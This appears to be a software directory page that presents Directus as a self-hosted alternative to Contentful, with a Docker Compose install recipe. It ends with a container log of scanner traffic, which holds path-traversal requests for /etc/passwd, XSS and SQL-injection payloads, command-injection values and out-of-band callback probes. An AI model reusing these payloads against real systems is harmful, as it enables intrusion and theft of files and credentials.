Directus replaces SaaS headless CMSs like Contentful with a self-hosted API layer and studio that connects directly to your existing SQL database.
Directus mounts directly on top of existing SQL databases without imposing proprietary table schemas, prefixes, or document transformations. By executing real-time schema introspection, it serves instant REST and GraphQL endpoints alongside a reactive administration studio. Originating in 2004 and rewritten in TypeScript, the platform runs on PostgreSQL, MySQL, SQLite, and MariaDB.
Contentful operates as a multi-tenant cloud service where content records are siloed behind vendor APIs. Integrating external tools or analytics pipelines requires fetching records over public HTTP endpoints subject to rate limits and payload quotas. Directus reverses this architecture by treating your SQL database as the single source of truth. External microservices and reporting tools query tables directly using native database drivers, bypassing Directus entirely when high throughput is required.
Directus also provides internal event hooks, custom Node.js endpoints, visual automation flows, and a native Model Context Protocol server connecting local language models to database records under strict permissions. Contentful restricts custom workflows to hosted apps and outbound webhooks, requiring external serverless functions for basic mutations. Migrating from Contentful requires defining a relational schema instead of loose JSON documents, but self-hosting Directus provides data sovereignty, local network latency, and freedom from cloud quotas.
Is Directus free for commercial use? Organizations with under $5 million in annual revenue and fewer than 50 employees can self-host Directus for free under an Open Innovation Grant, while larger enterprises require a commercial license.
Directus vs Contentful — which should I choose? Choose Contentful for a zero-maintenance cloud SaaS setup with a managed CDN; choose Directus for direct SQL database connectivity, on-premise data control, and unmetered API calls.
Can I run Directus with SQLite? Yes, Directus supports SQLite natively, letting you run the application as a single container by specifying SQLite environment variables and mounting a persistent storage volume.
Directus is an outstanding backend layer for administrators and engineering teams who want complete control over their relational data, provided you are prepared to manage your own database scaling and backups. Maintained actively with continuous commits through September 2026, the project retains its GPL-3.0 heritage across its core codebase alongside dual source-available licensing models, making it a dependable self-hosted foundation.
We started this exact setup from scratch in a clean Linux machine on Oct 31, 2026 and checked it through Directus's own API: every check passed. Recipes are re-checked regularly and removed if they stop working.
mkdir -p directus && cd directus
curl -fsSL https://open-source.store/tools/directus/compose.yml -o compose.ymlcat > .env <<EOF
SECRET=$(openssl rand -hex 32)
DB_PASSWORD=$(openssl rand -hex 12)
[email protected]
ADMIN_PASSWORD=$(openssl rand -hex 12)
PUBLIC_URL=http://localhost:8055
EOFSECRET — Random string that signs access tokens. Generated above; keep it secret.DB_PASSWORD — Password of the bundled PostgreSQL database. Generated above; keep it secret.ADMIN_EMAIL — Email of the initial administrator created on the first start.ADMIN_PASSWORD — Password of the initial administrator created on the first start. Generated above; keep it secret.PUBLIC_URL — Public URL where Directus is reached (e.g. https://directus.example.com); set this to your server's public URL.docker compose up -dservices:
database:
image: postgres:17.10
volumes:
- ./data/database:/var/lib/postgresql/data
environment:
POSTGRES_USER: "directus"
POSTGRES_PASSWORD: ${DB_PASSWORD}
POSTGRES_DB: "directus"
healthcheck:
test: ["CMD", "pg_isready", "--host=localhost", "--username=directus"]
interval: 10s
timeout: 5s
retries: 5
start_interval: 5s
start_period: 30s
cache:
image: redis:7.4.11
healthcheck:
test: ["CMD-SHELL", "[ $$(redis-cli ping) = 'PONG' ]"]
interval: 10s
timeout: 5s
retries: 5
start_interval: 5s
start_period: 30s
directus:
image: directus/directus:12.6.0
ports:
- 8055:8055
volumes:
- uploads:/directus/uploads
- extensions:/directus/extensions
depends_on:
database:
condition: service_healthy
cache:
condition: service_healthy
healthcheck:
test: ["CMD-SHELL", "wget --spider -q http://127.0.0.1:8055/server/ping || exit 1"]
interval: 10s
timeout: 5s
retries: 5
start_interval: 5s
start_period: 30s
environment:
SECRET: ${SECRET}
DB_CLIENT: "pg"
DB_HOST: "database"
DB_PORT: "5432"
DB_DATABASE: "directus"
DB_USER: "directus"
DB_PASSWORD: ${DB_PASSWORD}
CACHE_ENABLED: "true"
CACHE_AUTO_PURGE: "true"
CACHE_STORE: "redis"
REDIS: "redis://cache:6379"
ADMIN_EMAIL: ${ADMIN_EMAIL}
ADMIN_PASSWORD: ${ADMIN_PASSWORD}
PUBLIC_URL: ${PUBLIC_URL}
ROOT_REDIRECT: "/admin"
volumes:
uploads:
extensions:
Go, gRPC and Protobuf done right, LLM agents in production, and the hard parts of shipping a first product.
Show that Directus is listed as an open-source alternative. Paste into your README:
Ubuntu 24.04 · Apple container, Docker 29.1.3, Compose 2.40.3+ds1-0ubuntu1~24.04.1. Images pulled in 47 s: postgres:17.10, redis:7.4.11, directus/directus:12.6.0.
Based on the upstream setup. Official Postgres + Redis compose from the deployment docs. Image pinned to 12.6.0; postgis/postgis has no arm64 image, so plain postgres:17.10 is used (PostGIS only matters for geometry fields); placeholders moved to .env, ROOT_REDIRECT set to /admin, named volumes used for uploads and extensions, and the healthcheck pointed at 127.0.0.1 because Directus listens on IPv4 only and busybox wget resolves localhost to ::1. Custom permission rules and SSO need a licence key (directus.com/oig).
directus-1 | 2026-10-31T22:52:33.939073169Z [22:52:33] GET /Security/users?auth=YWRtaW46MTEK 404 4ms directus-1 | 2026-10-31T22:52:33.939074336Z [22:52:33] GET /?lang=../../thinkphp/base 302 0ms directus-1 | 2026-10-31T22:52:33.940834294Z [22:52:33] GET /?lang=../../thinkphp/base 302 0ms directus-1 | 2026-10-31T22:52:33.945902169Z [22:52:33] GET /api/settings/ 404 9ms directus-1 | 2026-10-31T22:52:33.951105086Z [22:52:33] GET /typo3/install.php 404 10ms directus-1 | 2026-10-31T22:52:33.952941127Z [22:52:33] GET /typo3/install.php 404 9ms directus-1 | 2026-10-31T22:52:33.953125002Z [22:52:33] GET /api/settings/ 404 8ms directus-1 | 2026-10-31T22:52:33.953235794Z [22:52:33] GET /api/ping/;%60id%60 404 8ms directus-1 | 2026-10-31T22:52:33.953370627Z [22:52:33] GET /?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug 302 0ms directus-1 | 2026-10-31T22:52:33.953407252Z [22:52:33] GET /?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug 302 0ms directus-1 | 2026-10-31T22:52:33.953925836Z [22:52:33] GET / 302 0ms directus-1 | 2026-10-31T22:52:33.953926877Z [22:52:33] GET / 302 0ms directus-1 | 2026-10-31T22:52:33.953927502Z [22:52:33] GET /hax?jsp=/app/rest/server;.jsp 404 12ms directus-1 | 2026-10-31T22:52:33.953928127Z [22:52:33] GET /hax?jsp=/app/rest/server;.jsp 404 12ms directus-1 | 2026-10-31T22:52:33.953928711Z [22:52:33] GET /ReportServer?op=fr_server&cmd=sc_getconnectioninfo 404 12ms directus-1 | 2026-10-31T22:52:33.953977044Z [22:52:33] GET /NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F 404 11ms directus-1 | 2026-10-31T22:52:33.953989752Z [22:52:33] GET /ReportServer?op=fr_server&cmd=sc_getconnectioninfo 404 11ms directus-1 | 2026-10-31T22:52:33.953990836Z [22:52:33] GET /apps 404 10ms directus-1 | 2026-10-31T22:52:33.953991502Z [22:52:33] GET /Admin/Admin.aspx 200 2ms directus-1 | 2026-10-31T22:52:33.968319252Z [22:52:33] GET /plugins/servlet/snjFooterNavigationConfig?fileName=../../../../etc/passwd&fileMime=$textMime 404 19ms directus-1 | 2026-10-31T22:52:33.972548502Z [22:52:33] GET /appspec.yml 404 18ms directus-1 | 2026-10-31T22:52:33.973726836Z [22:52:33] GET /appspec.yml 404 17ms directus-1 | 2026-10-31T22:52:33.973798752Z [22:52:33] GET /index.php?option=com_fabrik&task=plugin.pluginAjax&plugin=image&g=element&method=onAjax_files&folder=../../../../../../../../../../../../../../../etc/ 404 16ms directus-1 | 2026-10-31T22:52:33.973801627Z [22:52:33] GET /index.php?option=com_noticeboard&controller=../../../../../../../../../../etc/passwd%00 404 15ms directus-1 | 2026-10-31T22:52:33.973802669Z [22:52:33] GET /etc/passwd?.svg?.wasm?init 404 13ms directus-1 | 2026-10-31T22:52:33.973803544Z [22:52:33] GET /ansible.cfg 404 11ms directus-1 | 2026-10-31T22:52:33.973901377Z [22:52:33] GET /ansible.cfg 404 9ms directus-1 | 2026-10-31T22:52:33.974054544Z [22:52:33] GET /etc/passwd?.svg?.wasm?init 404 8ms directus-1 | 2026-10-31T22:52:33.974236377Z [22:52:33] GET /apps 404 8ms directus-1 | 2026-10-31T22:52:33.974583919Z [22:52:33] GET /Admin/Admin.aspx 200 3ms directus-1 | 2026-10-31T22:52:33.978048294Z [22:52:33] GET /index.php?option=com_fabrik&task=plugin.pluginAjax&plugin=image&g=element&method=onAjax_files&folder=../../../../../../../../../../../../../../../etc/ 404 9ms directus-1 | 2026-10-31T22:52:33.978058086Z [22:52:33] GET /index.php?option=com_noticeboard&controller=../../../../../../../../../../etc/passwd%00 404 7ms directus-1 | 2026-10-31T22:52:33.979507294Z [22:52:33] GET /artemis/env 404 3ms directus-1 | 2026-10-31T22:52:33.979573586Z [22:52:33] GET / 302 0ms directus-1 | 2026-10-31T22:52:33.979642294Z [22:52:33] GET /debug/pprof/goroutine?debug=1 404 2ms directus-1 | 2026-10-31T22:52:33.979773294Z [22:52:33] GET / 302 0ms directus-1 | 2026-10-31T22:52:33.981358336Z [22:52:33] GET /bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E 404 2ms directus-1 | 2026-10-31T22:52:33.982416294Z [22:52:33] GET /bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E 404 2ms directus-1 | 2026-10-31T22:52:33.983343961Z [22:52:33] GET /nacos/v1/auth/users?pageNo=1&pageSize=9 404 2ms directus-1 | 2026-10-31T22:52:33.984315627Z [22:52:33] GET /nacos/v1/auth/users?pageNo=1&pageSize=9 404 1ms directus-1 | 2026-10-31T22:52:33.986695377Z [22:52:33] GET /config/postProcessing/testNaming?pattern=%3Csvg/onload=alert(document.domain)%3E 404 2ms directus-1 | 2026-10-31T22:52:33.988842252Z [22:52:33] GET /config/postProcessing/testNaming?pattern=%3Csvg/onload=alert(document.domain)%3E 404 3ms directus-1 | 2026-10-31T22:52:33.990219044Z [22:52:33] GET /webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E 404 3ms directus-1 | 2026-10-31T22:52:33.991868044Z [22:52:33] GET /webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E 404 3ms directus-1 | 2026-10-31T22:52:33.991994836Z [22:52:33] GET /?p=3232&wp_automatic=download&link=file:///etc/passwd 302 0ms directus-1 | 2026-10-31T22:52:33.992010919Z [22:52:33] GET /common/dept.jsp?deptid=1%27+UNION+ALL+SELECT+60%2Csys.fn_sqlvarbasetostr(HASHBYTES(%27MD5%27%2C%27999999999%27))--+ 404 1ms directus-1 | 2026-10-31T22:52:33.994173127Z [22:52:33] GET /artemis/actuator/env 404 2ms directus-1 | 2026-10-31T22:52:33.995352336Z [22:52:33] GET /cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=80%7Cpwd%26id&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username 404 2ms directus-1 | 2026-10-31T22:52:33.996207961Z [22:52:33] GET /index.php?controller=pjFront&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E 404 1ms directus-1 | 2026-10-31T22:52:33.997024336Z [22:52:33] GET /index.php?controller=pjFront&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E 404 1ms directus-1 | 2026-10-31T22:52:33.997907252Z [22:52:33] GET /cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=80%7Cpwd%26id&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username 404 1ms directus-1 | 2026-10-31T22:52:33.998724919Z [22:52:33] GET /client/index.php%3F.php/gsb/users.php 404 2ms directus-1 | 2026-10-31T22:52:33.999420419Z [22:52:33] GET /api/sso/v2/sso/jwt?error_url=http://interact.sh 404 2ms directus-1 | 2026-10-31T22:52:34.000236877Z [22:52:33] GET /configure 404 1ms directus-1 | 2026-10-31T22:52:34.001096752Z [22:52:34] GET /NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F 404 1ms directus-1 | 2026-10-31T22:52:34.001112211Z [22:52:34] GET /plugins/servlet/snjFooterNavigationConfig?fileName=../../../../etc/passwd&fileMime=$textMime 404 0ms directus-1 | 2026-10-31T22:52:34.853887670Z [22:52:34] GET / 302 1ms directus-1 | 2026-10-31T22:52:34.862119753Z [22:52:34] GET / 302 0ms directus-1 | 2026-10-31T22:52:34.863357170Z [22:52:34] GET /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development 404 9ms directus-1 | 2026-10-31T22:52:34.865278586Z [22:52:34] GET /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development 404 6ms directus-1 | 2026-10-31T22:52:34.865294670Z [22:52:34] GET /WebReport/ReportServer?op=fr_server&cmd=sc_getconnectioninfo 404 3ms directus-1 | 2026-10-31T22:52:34.869803420Z [22:52:34] GET /ocp.php 404 6ms directus-1 | 2026-10-31T22:52:34.870308711Z [22:52:34] GET /WebReport/ReportServer?op=fr_server&cmd=sc_getconnectioninfo 404 4ms directus-1 | 2026-10-31T22:52:34.872516461Z [22:52:34] GET /appspec.yaml 404 5ms directus-1 | 2026-10-31T22:52:34.874273920Z [22:52:34] GET /appspec.yaml 404 3ms directus-1 | 2026-10-31T22:52:34.876427878Z [22:52:34] GET /metrics/healthcheck 404 3ms directus-1 | 2026-10-31T22:52:34.877559420Z [22:52:34] GET /NCFindWeb?service=IPreAlertConfigService&filename 404 3ms directus-1 | 2026-10-31T22:52:34.879244086Z [22:52:34] GET /index.php?option=com_realtyna&controller=../../../../../../../../../../../../../../../etc/passwd%00 404 3ms directus-1 | 2026-10-31T22:52:34.880289086Z [22:52:34] GET /metrics/metrics 404 2ms directus-1 | 2026-10-31T22:52:34.880312253Z [22:52:34] GET /php/telnet_form.php?hostname=%3C%2Ftitle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctitle%3E 404 1ms directus-1 | 2026-10-31T22:52:34.881050670Z [22:52:34] GET /shop.php?search=%22/%3E%3Cscript%3Ealert(document.domain)%3C/script%3E 404 1ms directus-1 | 2026-10-31T22:52:34.882398503Z [22:52:34] GET /index.php?q=hiring&search=URC%27%20union%20select%201,2,3,4,5,6,7,8,9,md5(999999999),11,12,13,14,15,16,17,18,19--+ 404 2ms directus-1 | 2026-10-31T22:52:34.883189003Z [22:52:34] GET /metrics/threads 404 2ms directus-1 | 2026-10-31T22:52:34.883207086Z [22:52:34] GET /index.php?option=com_realtyna&controller=../../../../../../../../../../../../../../../etc/passwd%00 404 2ms directus-1 | 2026-10-31T22:52:34.883975961Z [22:52:34] GET /%2f%5c%2foast.pro%2f.. 404 1ms directus-1 | 2026-10-31T22:52:34.884735211Z [22:52:34] GET /shop.php?search=%22/%3E%3Cscript%3Ealert(document.domain)%3C/script%3E 404 1ms directus-1 | 2026-10-31T22:52:34.885404378Z [22:52:34] GET /%2f%5c%2foast.pro%2f.. 404 2ms directus-1 | 2026-10-31T22:52:34.886099211Z [22:52:34] GET /authenticationserverservlet 404 1ms directus-1 | 2026-10-31T22:52:34.887092836Z [22:52:34] GET /index.php?q=hiring&search=URC%27%20union%20select%201,2,3,4,5,6,7,8,9,md5(999999999),11,12,13,14,15,16,17,18,19--+ 404 1ms directus-1 | 2026-10-31T22:52:34.887907086Z [22:52:34] GET /authenticationserverservlet 404 1ms directus-1 | 2026-10-31T22:52:34.888825211Z [22:52:34] GET /artemis;/env; 404 1ms directus-1 | 2026-10-31T22:52:34.889537586Z [22:52:34] GET /index.php?option=com_gadgetfactory&controller=../../../../../../../../../../etc/passwd%00 404 2ms directus-1 | 2026-10-31T22:52:34.891013545Z [22:52:34] GET /www/admin/install.php?action=welcome 404 2ms directus-1 | 2026-10-31T22:52:34.892305545Z [22:52:34] GET /artemis/1/..;/env 404 3ms directus-1 | 2026-10-31T22:52:34.892354086Z [22:52:34] GET /index.php?option=com_gadgetfactory&controller=../../../../../../../../../../etc/passwd%00 404 2ms directus-1 | 2026-10-31T22:52:34.893463920Z [22:52:34] GET /www/admin/install.php?action=welcome 404 2ms directus-1 | 2026-10-31T22:52:34.893560878Z [22:52:34] GET /admin/install.php?action=welcome 200 1ms directus-1 | 2026-10-31T22:52:34.893574253Z [22:52:34] GET /page/sl_logdl?dcfct=DCMlog.download_log&dbkey%3Asyslog.rlog=/etc/passwd 404 1ms directus-1 | 2026-10-31T22:52:34.895088295Z [22:52:34] GET /NCFindWeb?service=IPreAlertConfigService&filename 404 1ms directus-1 | 2026-10-31T22:52:34.895157378Z [22:52:34] GET /admin/install.php?action=welcome 200 1ms directus-1 | 2026-10-31T22:52:34.895814711Z [22:52:34] GET /wp-content/themes/Newspaper/style.css 404 1ms directus-1 | 2026-10-31T22:52:34.896609920Z [22:52:34] GET /wp-content/themes/Newspaper/style.css 404 1ms directus-1 | 2026-10-31T22:52:34.897353628Z [22:52:34] GET /wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(document.domain);&message=Not+Found&site_name=404 404 2ms directus-1 | 2026-10-31T22:52:34.898114586Z [22:52:34] GET /wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(document.domain);&message=Not+Found&site_name=404 404 1ms directus-1 | 2026-10-31T22:52:34.898890003Z [22:52:34] GET /download?type=files&filename=../../../../../../../../etc/passwd 404 1ms directus-1 | 2026-10-31T22:52:34.900005628Z [22:52:34] GET /download?type=files&filename=../../../../../../../../etc/passwd 404 1ms directus-1 | 2026-10-31T22:52:34.900932461Z [22:52:34] GET /uir//etc/passwd 404 1ms directus-1 | 2026-10-31T22:52:34.902436086Z [22:52:34] GET /uir//etc/passwd 404 2ms directus-1 | 2026-10-31T22:52:34.902437628Z [22:52:34] GET /metrics/healthcheck 404 2ms directus-1 | 2026-10-31T22:52:34.903109670Z [22:52:34] GET /page/sl_logdl?dcfct=DCMlog.download_log&dbkey%3Asyslog.rlog=/etc/passwd 404 2ms directus-1 | 2026-10-31T22:52:34.904559086Z [22:52:34] GET /artemis-portal/artemis/env 404 2ms directus-1 | 2026-10-31T22:52:34.905217586Z [22:52:34] GET /metrics/metrics 404 2ms directus-1 | 2026-10-31T22:52:34.905320170Z [22:52:34] GET /wp-content/plugins/admin-word-count-column/download-csv.php?path=../../../../../../../../../../../../etc/passwd\0 404 2ms directus-1 | 2026-10-31T22:52:34.906666420Z [22:52:34] GET /wp-content/plugins/newsletter/error_log 404 2ms directus-1 | 2026-10-31T22:52:34.908639878Z [22:52:34] GET /artemis/actuator/env 404 2ms directus-1 | 2026-10-31T22:52:34.908644086Z [22:52:34] GET /wp-content/plugins/admin-word-count-column/download-csv.php?path=../../../../../../../../../../../../etc/passwd\0 404 2ms directus-1 | 2026-10-31T22:52:34.910108128Z [22:52:34] GET /metrics/threads 404 3ms directus-1 | 2026-10-31T22:52:34.910132045Z [22:52:34] GET /wp-content/plugins/newsletter/error_log 404 2ms directus-1 | 2026-10-31T22:52:34.911475128Z [22:52:34] GET /wp-content/plugins/newsletter/classes/Newsletter/Logs.php 404 3ms directus-1 | 2026-10-31T22:52:34.911477253Z [22:52:34] GET /index.php?option=com_shoutbox&controller=../../../../../../../etc/passwd%00 404 2ms directus-1 | 2026-10-31T22:52:34.912898128Z [22:52:34] GET /artemis;/env; 404 3ms directus-1 | 2026-10-31T22:52:34.912900836Z [22:52:34] GET /index.php?option=com_shoutbox&controller=../../../../../../../etc/passwd%00 404 2ms directus-1 | 2026-10-31T22:52:34.913700128Z [22:52:34] GET /wp-content/plugins/newsletter/classes/Newsletter/Logs.php 404 2ms directus-1 | 2026-10-31T22:52:34.913702295Z [22:52:34] GET /v1/auth/users?pageNo=1&pageSize=9 404 1ms directus-1 | 2026-10-31T22:52:34.915048711Z [22:52:34] GET /v1/auth/users?pageNo=1&pageSize=9 404 2ms directus-1 | 2026-10-31T22:52:34.915883503Z [22:52:34] GET /artemis/1/..;/env 404 2ms directus-1 | 2026-10-31T22:52:34.915885545Z [22:52:34] GET /ocp.php 404 1ms directus-1 | 2026-10-31T22:52:34.916577711Z [22:52:34] GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 404 1ms directus-1 | 2026-10-31T22:52:34.918122545Z [22:52:34] GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 404 2ms directus-1 | 2026-10-31T22:52:34.918128461Z [22:52:34] GET /php/telnet_form.php?hostname=%3C%2Ftitle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctitle%3E 404 1ms